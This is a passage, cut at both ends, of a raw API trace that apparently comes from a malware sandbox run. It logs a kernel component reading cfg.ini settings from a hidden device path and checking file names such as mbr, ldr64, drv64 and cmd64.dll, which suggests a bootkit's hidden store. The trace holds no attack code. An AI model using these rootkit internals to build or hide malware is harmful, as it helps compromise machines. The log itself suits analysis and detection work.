-108 [0129.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.785] KeLeaveCriticalRegion () [0129.785] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.785] ReleaseMutex (hMutex=0x100) returned 1 [0129.785] Sleep (dwMilliseconds=0x2bf20) [0129.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x708ec7d0, dwHighDateTime=0x1d24fa4)) [0129.792] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.792] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.792] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.792] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.792] KeEnterCriticalRegion () [0129.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.792] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.792] IdePortDispatch () returned 0x103 [0129.792] KeWaitForMutexObject () returned 0x0 [0129.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.792] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.792] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.792] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.792] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.792] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c043e0 [0129.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.792] KeLeaveCriticalRegion () [0129.792] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.792] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.793] KeEnterCriticalRegion () [0129.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.793] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.793] KeLeaveCriticalRegion () [0129.793] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.793] KeEnterCriticalRegion () [0129.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.793] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.793] IdePortDispatch () returned 0x103 [0129.793] KeWaitForMutexObject () returned 0x0 [0129.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.793] KeLeaveCriticalRegion () [0129.793] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.793] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.793] KeEnterCriticalRegion () [0129.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cae000 [0129.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.793] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.793] IdePortDispatch () returned 0x103 [0129.793] KeWaitForMutexObject () returned 0x0 [0129.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.794] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.794] IdePortDispatch () returned 0x103 [0129.794] KeWaitForMutexObject () returned 0x0 [0129.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.794] KeLeaveCriticalRegion () [0129.794] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.794] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.794] KeEnterCriticalRegion () [0129.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.794] KeLeaveCriticalRegion () [0129.794] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.795] KeEnterCriticalRegion () [0129.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.795] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.795] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.795] KeLeaveCriticalRegion () [0129.795] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.795] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.795] KeEnterCriticalRegion () [0129.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.795] ExFreePoolWithTag (P=0xfffffa8003c043e0, Tag=0x0) [0129.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.795] KeLeaveCriticalRegion () [0129.795] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.795] ReleaseMutex (hMutex=0xf0) returned 1 [0129.795] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.795] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.795] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.795] KeEnterCriticalRegion () [0129.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.795] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.795] IdePortDispatch () returned 0x103 [0129.795] KeWaitForMutexObject () returned 0x0 [0129.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.795] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.795] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.795] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.795] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.795] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.795] KeLeaveCriticalRegion () [0129.795] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.795] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.795] KeEnterCriticalRegion () [0129.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.796] KeLeaveCriticalRegion () [0129.796] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.796] KeEnterCriticalRegion () [0129.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.796] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.796] IdePortDispatch () returned 0x103 [0129.796] KeWaitForMutexObject () returned 0x0 [0129.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.796] KeLeaveCriticalRegion () [0129.796] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.796] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.796] KeEnterCriticalRegion () [0129.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.796] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caf000 [0129.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.796] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.796] IdePortDispatch () returned 0x103 [0129.796] KeWaitForMutexObject () returned 0x0 [0129.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.797] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.797] IdePortDispatch () returned 0x103 [0129.797] KeWaitForMutexObject () returned 0x0 [0129.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.797] KeLeaveCriticalRegion () [0129.797] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.797] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.797] KeEnterCriticalRegion () [0129.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.797] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.797] KeLeaveCriticalRegion () [0129.797] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.797] KeEnterCriticalRegion () [0129.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.797] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.797] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.797] KeLeaveCriticalRegion () [0129.798] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.798] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.798] KeEnterCriticalRegion () [0129.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.798] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.798] KeLeaveCriticalRegion () [0129.798] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.798] ReleaseMutex (hMutex=0xf0) returned 1 [0129.798] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.798] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.798] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.798] KeEnterCriticalRegion () [0129.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.798] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.798] IdePortDispatch () returned 0x103 [0129.798] KeWaitForMutexObject () returned 0x0 [0129.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.798] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.798] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.798] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.798] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.798] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06850 [0129.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.798] KeLeaveCriticalRegion () [0129.798] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.798] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.798] KeEnterCriticalRegion () [0129.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.798] KeLeaveCriticalRegion () [0129.799] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.799] KeEnterCriticalRegion () [0129.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.799] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.799] IdePortDispatch () returned 0x103 [0129.799] KeWaitForMutexObject () returned 0x0 [0129.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.799] KeLeaveCriticalRegion () [0129.799] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.799] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.799] KeEnterCriticalRegion () [0129.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb0000 [0129.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.799] IdePortDispatch () returned 0x103 [0129.799] KeWaitForMutexObject () returned 0x0 [0129.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.800] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.800] IdePortDispatch () returned 0x103 [0129.800] KeWaitForMutexObject () returned 0x0 [0129.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.800] KeLeaveCriticalRegion () [0129.800] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.800] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.800] KeEnterCriticalRegion () [0129.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.800] KeLeaveCriticalRegion () [0129.800] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.800] KeEnterCriticalRegion () [0129.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.801] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.801] KeLeaveCriticalRegion () [0129.801] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.801] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.801] KeEnterCriticalRegion () [0129.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.801] ExFreePoolWithTag (P=0xfffffa8003c06850, Tag=0x0) [0129.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.801] KeLeaveCriticalRegion () [0129.801] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.801] ReleaseMutex (hMutex=0xf0) returned 1 [0129.801] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.801] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.801] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.801] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.801] KeEnterCriticalRegion () [0129.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.801] IdePortDispatch () returned 0x103 [0129.801] KeWaitForMutexObject () returned 0x0 [0129.801] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.801] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.801] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.801] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.801] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.801] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.801] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.801] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.801] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.801] _strnicmp 